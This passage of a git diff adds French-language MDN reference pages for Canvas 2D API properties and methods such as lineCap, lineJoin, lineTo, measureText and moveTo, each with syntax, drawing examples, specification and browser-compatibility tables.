+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.msFillRule</code></dt>
+ <dd>The <a href="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t" title="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t">fill rule</a> to use. This must be one of <code>evenodd</code> or <code>nonzero</code> (default).</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#2dcontext:canvasrenderingcontext2d", "CanvasRenderingContext2D")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("9")}}</td>
+   <td>{{CompatSafari("2")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<ul>
+ <li>Starting with Gecko 5.0 {{geckoRelease("5.0")}}, specifying invalid values are now silently ignored for the following methods and properties: <code>translate()</code>, <code>transform()</code>, <code>rotate(), </code><code>scale(),</code> <code>rect()</code>, <code>clearRect()</code>, <code>fillRect()</code>, <code>strokeRect()</code>, <code>lineTo()</code>, <code>moveTo()</code>, <code>quadraticCurveTo()</code>, <code>arc()</code>, <code>shadowOffsetX</code>, <code>shadowOffsetY</code>,  <code>shadowBlur</code>.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/linecap/index.html b/files/fr/web/api/canvasrenderingcontext2d/linecap/index.html
new file mode 100644
index 0000000000..1693fc5d50
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/linecap/index.html
@@ -0,0 +1,177 @@
+---
+title: CanvasRenderingContext2D.lineCap
+slug: Web/API/CanvasRenderingContext2D/lineCap
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Propriété
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/lineCap
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété <strong>CanvasRenderingContext2D.lineCap</strong> de l'API Canvas 2D détermine la façon dont les extrémités de chaque ligne sont dessinées. Il y a trois valeurs possibles pour cette propriété, qui sont : <code>butt</code>, <code>round</code> et <code>square</code>. Par défaut, cette propriété est définie comme <code>butt</code>.</p>
+
+<p>Voir aussi le chapitre <a href="/fr-FR/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Ajout de styles et de couleurs</a> dans le <a href="/fr-FR/docs/Web/API/Canvas_API/Tutorial">Tutoriel canvas</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.lineCap = "butt";
+<var><em>ctx</em>.lineCap = "round";
+<var><em>ctx</em>.lineCap = "square";</var></var></var></pre>
+
+<h3 id="Options">Options</h3>
+
+<dl>
+ <dt><code>butt</code></dt>
+ <dd>Les extrémités de ligne sont coupées à angle droit.</dd>
+ <dt><code>round</code></dt>
+ <dd>Les extrémités de ligne sont arrondies.</dd>
+ <dt><code>square</code></dt>
+ <dd>Les extrémités de ligne sont coupées à angle droit en ajoutant un rectangle d'une longueur égale à celle de l'épaisseur de la ligne et de largeur moitié.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Using_the_lineCap_property" name="Using_the_lineCap_property">Utilisation de la propriété <code>lineCap</code></h3>
+
+<p>Il ne s'agit que d'un fragment de code simple utilisant la propriété lineCap pour dessiner des lignes avec des extrémités arrondies.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canevas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight[7]">var canevas = document.getElementById('canevas');
+var ctx = canevas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(0, 0);
+ctx.lineWidth = 15;
+ctx.lineCap = 'round';
+ctx.lineTo(100, 100);
+ctx.stroke();
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct dans le canvas :</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canevas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="modifier" type="button" value="Modifier" /&gt;
+  &lt;input id="effacer" type="button" value="Effacer" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.moveTo(0, 0);
+ctx.lineWidth = 15;
+ctx.lineCap = 'round';
+ctx.lineTo(100, 100);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var ctx = canevas.getContext('2d');
+var zoneTexte = document.getElementById('code');
+var effacer = document.getElementById('effacer');
+var modifier = document.getElementById('modifier');
+var code = zoneTexte.value;
+
+function dessinerCanevas() {
+  ctx.clearRect(0, 0, canevas.width, canevas.height);
+  eval(zoneTexte.value);
+}
+
+effacer.addEventListener('click', function() {
+  zoneTexte.value = code;
+  dessinerCanevas();
+});
+
+modifier.addEventListener('click', function() {
+  zoneTexte.focus();
+})
+
+zoneTexte.addEventListener('input', dessinerCanevas);
+window.addEventListener('load', dessinerCanevas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="A_lineCap_example" name="A_lineCap_example">Un exemple de <code>lineCap</code></h3>
+
+<p>Dans cet exemple, trois lignes sont dessinées, chacune avec une valeur différente pour la propriété <code>lineCap</code>. Deux guides pour voir les différences exactes entre les trois ont été ajoutés. Chacune de ces lignes commence et se termine exactement sur ces guides.</p>
+
+<p>La ligne à gauche utilise l'option par défaut <code>butt</code>. Elle est dessinée complètement au raz des guides. La seconde est paramétrée pour utiliser l'option <code>round</code>. Cela ajoute à l'extrémité un demi-cercle d'un rayon égal à la moitié de la largeur de la ligne. La ligne de droite utilise l'option <code>square</code>. Cela ajoute un rectangle de longueur égale à l'épaisseur de la ligne et de largeur moitié.</p>
+
+<pre class="brush: js">var ctx = document.getElementById('canevas').getContext('2d');
+var lineCap = ['butt','round','square'];
+
+// Dessiner les guides
+ctx.strokeStyle = '#09f';
+ctx.beginPath();
+ctx.moveTo(10, 10);
+ctx.lineTo(140, 10);
+ctx.moveTo(10, 140);
+ctx.lineTo(140, 140);
+ctx.stroke();
+
+// Dessiner les lignes
+ctx.strokeStyle = 'black';
+for (var i = 0; i &lt; lineCap.length; i++) {
+  ctx.lineWidth = 15;
+  ctx.lineCap = lineCap[i];
+  ctx.beginPath();
+  ctx.moveTo(25 + i * 50, 10);
+  ctx.lineTo(25 + i * 50, 140);
+  ctx.stroke();
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canevas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineCap_example", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linecap", "CanvasRenderingContext2D.lineCap")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.lineCap")}}</p>
+<h2 id="Notes_spécifiques_à_WebKitBlink">Notes spécifiques à WebKit/Blink</h2>
+
+<ul>
+ <li>Dans les navigateurs basés sur WebKit et Blink, une méthode non-standard et désapprouvée <code>ctx.setLineCap()</code> est implémentée en plus de cette propriété.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineWidth")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineJoin")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/linejoin/index.html b/files/fr/web/api/canvasrenderingcontext2d/linejoin/index.html
new file mode 100644
index 0000000000..ca4fbd4f4e
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/linejoin/index.html
@@ -0,0 +1,135 @@
+---
+title: CanvasRenderingContext2D.lineJoin
+slug: Web/API/CanvasRenderingContext2D/lineJoin
+tags:
+  - API
+  - Canvas
+  - Propriété
+  - arrondit
+  - coin
+  - stroke
+translation_of: Web/API/CanvasRenderingContext2D/lineJoin
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.lineJoin</code></strong> de l'API Canvas 2D détermine la forme à utiliser pour joindre deux segments de ligne à leur intersection.</p>
+
+<p>Cette propriété n'a aucun effet quand deux segments connectés ont la même direction, car aucune zone de jonction ne sera ajoutée dans ce cas. Les segments dégénérés d'une longueur de zéro (c'est à dire avec les extrémités à la même position) seront ignorés.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Les lignes peuvent être dessinées aves les méthodes  {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}, {{domxref("CanvasRenderingContext2D.strokeRect()", "strokeRect()")}} et {{domxref("CanvasRenderingContext2D.strokeText()", "strokeText()")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.lineJoin = "bevel" || "round" || "miter";
+</pre>
+
+<h3 id="Options">Options</h3>
+
+<p>Il y a trois valeurs possibles pour cette propriété: <code>"round"</code>, <code>"bevel"</code> et <code>"miter"</code>. Celle par défaut est <code>"miter"</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/237/Canvas_linejoin.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>"round"</code> (rond)</dt>
+ <dd>Arrondit les coins d'une forme en remplissant un zone supplémentaire centré sur le point final commun des segments connectés. Le rayon de ces coins arrondis est égal à la largeur de la ligne .</dd>
+ <dt><code>"bevel"</code> (biseau)</dt>
+ <dd>Remplit une zone triangulaire supplémentaire entre les extrémités des segments connectés.</dd>
+ <dt><code>"miter"</code> (onglet)</dt>
+ <dd>Les segments raccordés  sont reliés entre eux en prolongeant leurs bors extérieurs en un seul point, ce qui a pour effet de remplir uen zone supplémentaire en forme de losange. Ce paramètre est affecté par la proriété {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}. Valeur par dafaut.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Modifier_les_jointures_d'un_tracé">Modifier les jointures d'un tracé</h3>
+
+<p>Cet exemple applique des jointures arrondies au tracé.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight[5]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.lineWidth = 20;
+ctx.lineJoin = 'round';
+ctx.beginPath();
+ctx.moveTo(20, 20);
+ctx.lineTo(190, 100);
+ctx.lineTo(280, 20);
+ctx.lineTo(280, 150);
+ctx.stroke();
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{ EmbedLiveSample('Changing_the_joins_in_a_path', 700, 180) }}</p>
+
+<h3 id="Comparaison_des_jointures_de_lignes">Comparaison des jointures de lignes</h3>
+
+<p>L'exemple dessine 3 tracés différents, illustrant chacune des trois valeurs de <code>lineJoin</code>.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">var ctx = document.getElementById('canvas').getContext('2d');
+var lineJoin = ['round', 'bevel', 'miter'];
+ctx.lineWidth = 10;
+
+for (let i = 0; i &lt; lineJoin.length; i++) {
+  ctx.lineJoin = lineJoin[i];
+  ctx.beginPath();
+  ctx.moveTo(-5, 5 + i * 40);
+  ctx.lineTo(35, 45 + i * 40);
+  ctx.lineTo(75, 5 + i * 40);
+  ctx.lineTo(115, 45 + i * 40);
+  ctx.lineTo(155, 5 + i * 40);
+  ctx.stroke();
+}
+</pre>
+
+<p>{{EmbedLiveSample("Comparison_of_line_joins", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linejoin", "CanvasRenderingContext2D.lineJoin")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_naviagateurs">Compatibilité des naviagateurs</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.lineJoin")}}</p>
+
+<h3 id="WebKitBlink-notes_particulières">WebKit/Blink-notes particulières</h3>
+
+<ul>
+ <li>Dans les navigateurs basés sur WebKit et Blink, une méthode <code>ctx.setLineJoin()</code> non-standard et obsolète est implémentée en plus de cette propriété.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface définissant cette propriété: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineCap")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineWidth")}}</li>
+ <li><a href="/fr-FR/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Ajout de styles et de couleurs</a></li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/lineto/index.html b/files/fr/web/api/canvasrenderingcontext2d/lineto/index.html
new file mode 100644
index 0000000000..51359d72fd
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/lineto/index.html
@@ -0,0 +1,126 @@
+---
+title: CanvasRenderingContext2D.lineTo()
+slug: Web/API/CanvasRenderingContext2D/lineTo
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Méthode
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/lineTo
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.lineTo()</code></strong> de l'API Canvas 2D connecte le dernier point du sous-chemin en cours aux coordonnées <code>x, y</code> spécifiées avec une ligne droite (sans tracer réellement le chemin).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.lineTo(x, y);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>L'abscisse <em>x</em> du point d'arrivée.</dd>
+ <dt><code>y</code></dt>
+ <dd>L'ordonnée <em>y</em> du point d'arrivée.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_lineTo">Utilisation de la méthode <code>lineTo</code></h3>
+
+<p>Ceci est un extrait de code utilisant la méthode <code>lineTo</code>. Il faut utiliser la méthode {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} pour débuter un dessin, pour ensuite pouvoir dessiner une ligne dessus. On peut déplacer le crayon avec la méthode {{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}} et utiliser la méthode {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}} pour rendre la ligne visible.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[6]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(50,50);
+ctx.lineTo(100, 100);
+ctx.stroke();
+</pre>
+
+<p>Éditez le code suivant pour voir les changements en direct:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.moveTo(50,50);
+ctx.lineTo(100, 100);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-lineto", "CanvasRenderingContext2D.lineTo")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.lineTo")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>l'interface qui la définit, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.moveTo()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.stroke()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/measuretext/index.html b/files/fr/web/api/canvasrenderingcontext2d/measuretext/index.html
new file mode 100644
index 0000000000..49895d86e8
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/measuretext/index.html
@@ -0,0 +1,125 @@
+---
+title: CanvasRenderingContext2D.measureText()
+slug: Web/API/CanvasRenderingContext2D/measureText
+tags:
+  - API
+  - Canevas
+  - CanvasRenderingContext2D
+  - Méthode
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/measureText
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.measureText()</code></strong> renvoie un objet {{domxref ("TextMetrics")}} qui contient des informations sur le texte mesuré (telle que sa largeur, par exemple).</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em></var>.measureText(texte);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>texte</dt>
+ <dd>Le texte à mesurer.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un objet {{domxref("TextMetrics")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Étant donné cet élément {{HTMLElement("canvas")}} :</p>
+
+<pre class="brush: html">&lt;canvas id="canevas"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>vous pouvez obtenir un objet {{domxref("TextMetrics")}} en utilisant le code suivant :</p>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var ctx = canevas.getContext('2d');
+
+var texte = ctx.measureText('foo'); // objet TextMetrics
+texte.width; // 16;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-measuretext", "CanvasRenderingContext2D.measureText")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatIE(9)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}.</li>
+ <li>{{domxref("TextMetrics")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/moveto/index.html b/files/fr/web/api/canvasrenderingcontext2d/moveto/index.html
new file mode 100644
index 0000000000..f7890599d4
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/moveto/index.html
@@ -0,0 +1,124 @@
+---
+title: CanvasRenderingContext2D.moveTo()
+slug: Web/API/CanvasRenderingContext2D/moveTo
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+translation_of: Web/API/CanvasRenderingContext2D/moveTo
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.moveTo()</code></strong> de l'API Canvas 2D déplace le point de départ d'un nouveau sous-chemin vers les coordonnées <code>(x, y)</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.moveTo(x, y);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>L'axe des x du point.</dd>
+ <dt><code>y</code></dt>
+ <dd>L'axe des y du point.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_méthode_moveTo">Utiliser la méthode <code>moveTo</code></h3>
+
+<p>Ceci est un simple snippet de code qui utilise la méthode <code>moveTo</code> pour déplacer le stylo à une position de départ pour dessiner une ligne.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(50, 50);
+ctx.lineTo(200, 50);
+ctx.stroke();
+</pre>
+
+<p>Éditez le code ci-dessous pour voir vos changements mettre à jour le canvas en direct:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.moveTo(50,50);
+ctx.lineTo(200, 50);
+ctx.stroke()&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-moveto", "CanvasRenderingContext2D.moveTo")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.moveTo")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface qui définit cette méthode, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineTo()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.stroke()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/quadraticcurveto/index.html b/files/fr/web/api/canvasrenderingcontext2d/quadraticcurveto/index.html
new file mode 100644
index 0000000000..4978bdd735
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/quadraticcurveto/index.html
@@ -0,0 +1,137 @@
+---
+title: CanvasRenderingContext2D.quadraticCurveTo()
+slug: Web/API/CanvasRenderingContext2D/quadraticCurveTo
+tags:
+  - API
+  - Bézier
+  - Canevas
+  - Canvas
+  - CanvasRenderingContext2D
+  - Courbe
+  - Courbe de Bézier
+  - Courbe quadratique
+  - Courbe quadratique de Bézier
+  - Méthode
+  - Quadratique
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/quadraticCurveTo
+---
+<div>{{APIRef}}</div>
+
